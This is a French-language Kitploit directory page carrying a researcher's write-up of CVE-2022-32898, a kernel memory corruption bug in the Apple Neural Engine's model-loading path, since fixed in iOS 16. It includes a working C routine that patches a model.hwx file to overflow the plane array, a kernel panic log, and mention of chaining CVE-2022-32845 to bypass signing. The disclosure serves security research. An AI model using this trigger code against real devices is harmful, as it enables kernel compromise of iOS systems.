Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-32898 | Kitploit
Outils/GitHubGitHub/ox1111/cve-2022-32898
Sécurité iOSAnalyse des VulnérabilitésExploitationRétro-ingénierieSécurité MobileSécurité MatérielleExploitation de Binaires
GitHubox1111/cve-2022-32898

CVE-2022-32898

Voir le dépôt
il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-32898 : corruptions multiples de la mémoire du noyau dans ANE_ProgramCreate()

Nov 23, 2022 • Mohamed GHANNAM (@_simo36)

Commentaire de l'auteur

Je partage deux autres vulnérabilités du noyau iOS accessibles depuis le sandbox d'application par défaut, qui ne nécessitent pas d'ouvrir un UserClient :

4

+16 bugs du noyau que j'ai signalés à Apple ont été corrigés dans iOS 16/16.1. Je donnerai une conférence sur la façon dont j'ai enchaîné certains bugs pour obtenir la lecture/écriture du noyau lors du #POC2022 le mois prochain, et l'exploit du noyau pour iOS 15 sera publié avec quelques autres vulnérabilités à fort impact après la conférence.

Ma fonctionnalité préférée d'IDA 8.0 jusqu'à présent : les imports artificiels de méthodes Obj-C 4

Dans iOS 15.5 bêta 3, Apple a retiré IOMallocAligned(KHEAP_DEFAULT,...) de IOSharedDataQueue/IODataQueue::initWithCapacity() (qui utilise désormais kernel_memory_allocate() avec le flag KMA_DATA). C'était une technique élégante pour préparer le tas par défaut du noyau avec des données contrôlées par l'utilisateur. RIP

6

Introduction :

En rétro-ingénierie du processus par lequel l'Apple Neural Engine charge un modèle au niveau du noyau, j'ai identifié deux vulnérabilités intéressantes de corruption mémoire dans le code responsable du traitement des caractéristiques des réseaux de neurones dans H11ANEIn::ANE_ProgramCreate_gated(). Ce type de vulnérabilités, à mon avis, est facile à trouver lors d'un audit manuel du pilote du noyau, mais presque impossible à détecter avec des fuzzers, à moins de construire quelque chose d'incroyablement sophistiqué.

Analyse :

Les fonctions ZinComputeProgramGetNamesFromMultiPlaneLinear() et ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() sont toutes deux responsables de l'analyse des entrées et sorties de la procédure, ou plus précisément, de la commande LC_THREAD avec le thread flavor 2 (ane_bind_state) dont la valeur binding_type_info est 4 et 5.

D'après ce que je peux en dire, binding_type_info = 4 signifie que l'entrée d'une procédure a plus d'un plan, et binding_type_info = 5 signifie que l'entrée non seulement a plus d'un plan mais est également compressée.

La fonction ZinComputeProgramGetNamesFromMultiPlaneLinear(), par exemple, prend 5 arguments : un pointeur de commande de chargement, un pointeur de liaison de thread, et trois arguments de sortie supplémentaires. Le dernier argument de sortie, planes, est un tableau qui contiendra des plans, ou pointeurs noyau, dont le contenu est contrôlé par l'utilisateur, et le dernier argument, planeCount, indiquera combien de plans (ou pointeurs noyau) ont été copiés dans planes à partir du fichier model.hwx. Voici la définition de la fonction :

1

En raison du manque de validation du nombre de plans qu'un modèle peut fournir, des pointeurs noyau pourraient être écrits en dehors des limites du tableau planes, ce qui pourrait mener à de nombreux scénarios intéressants de corruption mémoire.

Transformer la corruption mémoire en débordement de pile :

Le tableau planes est une variable de pile située dans H11ANEIn::ANE_ProgramCreate_gated(). En faisant déborder cette variable (qui est censée contenir plusieurs plans, jusqu'à 4 éléments) avec plus de 4 plans, d'autres variables de pile pourraient également être corrompues, ce qui pourrait conduire à d'autres problèmes tels qu'une confusion de type, car les pointeurs noyau qui écrasent la mémoire sont entièrement sous le contrôle de l'utilisateur.

Évidemment, faire déborder le tableau planes avec trop d'entrées écraserait probablement aussi le cookie de pile ainsi que le pointeur de frame de pile sauvegardé, entraînant un kernel panic. Heureusement, le nombre total de plans est entièrement contrôlé par le modèle fourni ; nous pouvons donc corrompre plusieurs variables de pile sans affecter ces zones sensibles de la pile.

Transformer la corruption mémoire en débordement de tas :

Un autre scénario intéressant, comme illustré dans l'image ci-dessous, permet de faire déborder deux objets du tas : H11ANEProgramBindingInfo (à la ligne 528) et H11ANEProgramCreateArgsStructOutput (à la ligne 533).

2

root@kitploit:~
struct H11ANEProgramBindingInfo
{
        struct {
                uint32_t field_0;
                char names[8][512];
                uint32_t field_1004;
                char *procedure_name;
        } inputs[255], outputs[255];

};

La définition de la structure H11ANEProgramCreateArgsStructOutput est montrée ci-dessus, et sa corruption pourrait entraîner les crashs suivants :

root@kitploit:~
"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
  x0:  0x1122334411223344 x1:  0xfffffe3000ecff20  x2:  0x0000000000000040  x3:  0x0000000000000000
  x4:  0x0000000000000000 x5:  0x0000000000000000  x6:  0x00000000000000e8  x7:  0x0000000000000830
  x8:  0xfffffe608949c000 x9:  0xfffffe24cec0d1b0  x10: 0xfffffe24cd7d4010  x11: 0xfffffe1667fa93e0
  x12: 0x0000000000000001 x13: 0x0000000000000858  x14: 0xfffffe3000ed0760  x15: 0x00292a20736d6172
  x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8  x18: 0x0000000000000000  x19: 0x0000000000000000
  x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860  x22: 0xfffffe299a621a00  x23: 0xfffffe2999c72208
  x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1  x26: 0xfffffe608949c000  x27: 0xfffffe60895a2054
  x28: 0xfffffe6089dcb850 fp:  0xfffffe6089dcacd0  lr:  0x03effe0011b1b47c  sp:  0xfffffe6089dcacd0
  pc:  0xfffffe0010a8a48c cpsr: 0x00401208         esr: 0x96000004          far: 0x1122334411223344

Déclencher la vulnérabilité :

Ce qui rend ces vulnérabilités intéressantes, c'est qu'elles ne nécessitent pas d'interagir directement avec le noyau. En d'autres termes, pas besoin d'ouvrir une connexion UserClient : il suffit de compiler (ou de concevoir) un modèle malveillant et de laisser aned le charger pour vous.

Comme vous le savez peut-être, pour charger un modèle via aned, le modèle doit être compilé par le service système ANECompilerService ou signé par Apple. En d'autres termes, l'application doit fournir un répertoire .mlmodelc à aned, qui demandera ensuite à ANECompilerService de le compiler en model.hwx en utilisant deux frameworks appelés Espresso et ANECompiler. Si vous ne savez pas de quoi je parle, vous pouvez jeter un œil aux slides du #POC2022 ici où j'ai donné un aperçu de base du fonctionnement d'aned. De plus, vous pouvez obtenir plus de détails sur le processus de compilation dans l'excellente conférence BlackHat de Wish Wu concernant ses recherches sur l'ANE, ainsi que son excellent outil qui imite exactement ce que fait ANECompilerService.

Dans notre cas, nous avons besoin d'un model.hwx avec une procédure dont l'entrée (ou la sortie) supporte plusieurs plans. Malheureusement, aucun modèle de ce type n'est disponible au format mlmodel, mlmodelc ou mlpackage, et seuls quelques modèles au format hwx sont fournis par Apple. L'inspection de ces modèles hwx a révélé qu'ils utilisent des opérations de réseaux de neurones étranges/non documentées qui n'existent pas dans la base de code de la bibliothèque open source coremltools, ce qui suggère que ces couches réseau sont probablement réservées à un usage interne. Cependant, l'implémentation de ces opérations est définie par le framework Espresso, et un travail de rétro-ingénierie est nécessaire pour comprendre quelles entrées et sorties elles supportent et comment les utiliser correctement comme couche au sein d'un réseau de neurones. Étant donné que le framework est écrit en C++ avec STL, je n'avais aucun intérêt à faire de la rétro-ingénierie sur cette opération car cela prendrait une éternité.

C'est la principale raison qui m'a conduit à découvrir CVE-2022-32845, qui m'a non seulement permis d'éviter de faire de la rétro-ingénierie sur ce framework intimidant, mais m'a aussi épargné des centaines d'heures d'étude de sujets avancés en apprentissage automatique.

J'ai donc pris un model.hwx simple, patché l'une de ses commandes LC_THREAD pour reproduire le résultat souhaité dans ane_bind_state, puis j'ai exploité CVE-2022-32845 pour tromper aned afin qu'il le charge comme s'il avait été signé par Apple ; cela a suffi pour démontrer la vulnérabilité à Apple.

La fonction qui patche le modèle est présentée ci-dessous, et vous pouvez emprunter certains codes de mon exploit noyau weightBufs si vous voulez déclencher la vulnérabilité vous-même.

root@kitploit:~
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
        if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
                dbg("[-] Bad Mach-O file \n");
                return ;
        }

        struct load_command *lc = NULL;

        FOR_EACH_COMMAND {

                if (lc->cmd != LC_THREAD)
                        continue;

                dbg("LC_THREAD command found \n");

                compute_thread_command *thread = (compute_thread_command *)lc;
                u32 name_off = 0;
                switch (thread->flavor) {
                case THREAD_BINDING: {
                        name_off = *(uint32_t*)((char*)thread + 0x18);
                        dbg("Binding Name \n");
                        compute_thread_binding * bd =
                                (compute_thread_binding *)&thread->thread_states;

                        bd->binding_typeinfo = 4;
                        bd->field4 = 1;

                        u32 plane_count = 0x30;
                        char *buf_start = (char*)lc + 0x20;
                        *(u32 *) buf_start = 0;
                        *(u32 *) (buf_start + 0x10) = plane_count;
                        char *_ptr = buf_start + 0x6C;
                        int i = 0;
                        uint64_t off = 0;

                        do {
                                if(off == 0)
                                        off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
                                *(unsigned int *)_ptr = mh_size;

                                u64 *pp = (u64 *)&_ptr[4];
                                for(int k = 0; k < 4;k++)
                                        pp[k] = 0x1122334411223344;
                                _ptr += 0x68;

                        }while (i++ < plane_count);

                        patched = true;

                        return;
                }
                case THREAD_PROCEDURE_OPERATION:
                case THREAD_PROCEDURE:
                default:
                        break;
                }

                dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);

        }

}

Le correctif :

Apple a corrigé le problème dans iOS 16 en introduisant des contrôles de validation dans les deux fonctions vulnérables, limitant le nombre de plans fournis à quatre entrées, comme illustré ci-dessous :

3

C'est tout pour le moment, à très bientôt !

Télécharger l’outil